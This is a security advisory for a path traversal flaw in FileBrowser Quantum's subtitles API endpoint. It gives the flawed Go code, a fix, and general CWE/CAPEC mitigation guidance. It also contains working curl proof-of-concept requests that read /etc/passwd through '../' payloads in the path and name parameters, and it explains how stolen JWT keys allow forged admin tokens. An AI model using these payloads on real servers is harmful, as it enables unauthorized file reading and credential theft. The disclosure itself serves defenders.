Summary
FileBrowser Quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files
Details

Summary

The subtitlesHandler endpoint (GET /api/media/subtitles) accepts two user-controlled query parameters: path and name, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors.

The primary vector is the path parameter: it is passed directly to idx.GetRealPath() without calling SanitizeUserPath(), allowing an attacker to escape the storage root and set parentDir to any directory on the host. No existing anchor file is required.

The secondary vector is the name parameter: it is joined with parentDir via filepath.Join(parentDir, name) without stripping directory components, allowing traversal relative to any resolved parentDir.

Any authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including /etc/passwd, SSH keys, database credentials, and JWT signing keys.

Details

1. path parameter lacks SanitizeUserPath() — primary vector (http/media.go:54)

userscope, err := d.user.GetScopeForSourceName(source)
// ...
realPath, _, err := idx.GetRealPath(userscope, path)  // path is raw user input, no sanitization
// ...
parentDir := filepath.Dir(realPath)  // line 59: attacker controls this directory

SanitizeUserPath() explicitly rejects .. segments:

func SanitizeUserPath(userPath string) (string, error) {
    // ...
    for _, segment := range segments {
        if segment == ".." {
            return "", fmt.Errorf("invalid path: path traversal detected")
        }
    }
    // ...
}

Every other handler in the codebase calls SanitizeUserPath() before GetRealPath(). This handler skips it, so path=../../etc/passwd resolves parentDir to /etc, with no anchor file required.

2. name parameter used directly in filepath.Join — secondary vector (http/media.go:63)

name := r.URL.Query().Get("name")  // line 37 — raw user input
// ...
content, err = utils.GetSubtitleSidecarContent(
    filepath.Join(parentDir, name))  // line 63 — TRAVERSAL

filepath.Join(parentDir, "../../etc/passwd") resolves the .. components, escaping parentDir. This vector requires a valid file in scope as the path anchor.

3. GetSubtitleSidecarContent reads and returns file contents (common/utils/media.go:17-43)

func GetSubtitleSidecarContent(subtitlePath string) (string, error) {
    info, err := os.Stat(subtitlePath)        // follows the traversed path
    // size check: < 50MB
    isText, err := IsTextFile(subtitlePath)   // checks UTF-8 validity
    content, err := os.ReadFile(subtitlePath) // reads and returns content
    return string(content), nil
}

The only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string.

4. Endpoint is behind withUser but requires no special permissions

// httpRouter.go
api.HandleFunc("GET /media/subtitles", withUser(subtitlesHandler))

Any authenticated user can access this endpoint: no admin, modify, share, or download permission is required.

PoC

Vector 1: path traversal (no anchor file needed):

docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN"

Expected output: /etc/passwd contents with HTTP 200.

Vector 2: name traversal (anchor file required):

mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt
docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN"

Expected output: /etc/passwd contents with HTTP 200.

Impact

  • Arbitrary file read: Any authenticated user can read any text file on the host filesystem that the server process has read permission for.
  • No anchor file required: The path vector works on a default install with an empty storage root, so no existing file in scope is needed.
  • Scope bypass: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system.
  • Credential exposure: /etc/passwd, /etc/shadow (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets.
  • Privilege escalation: Reading the JWT signing key from the database or config file enables forging admin tokens.
  • No special permissions required: The endpoint only requires basic authentication: no admin, modify, share, or download permissions.

Recommended Fix

Apply SanitizeUserPath() to the path parameter and filepath.Base() to the name parameter:

// http/media.go, subtitlesHandler

// Sanitize path parameter (like all other handlers)
path, err := utils.SanitizeUserPath(path)
if err != nil {
    return http.StatusBadRequest, err
}

// Strip directory components from name to prevent traversal
name = filepath.Base(name)

SanitizeUserPath() rejects any .. segment. filepath.Base("../../etc/passwd") returns "passwd", preventing traversal via name. Additionally, consider adding a file extension allowlist to restrict name to subtitle formats (.srt, .vtt, .ass, .ssa, .sub) only.

Additionally, consider adding a file extension allowlist to restrict `name` to subtitle formats (`.srt`, `.vtt`, `.ass`, `.ssa`, `.sub`) only.",

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-139: Relative Path Traversal

An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
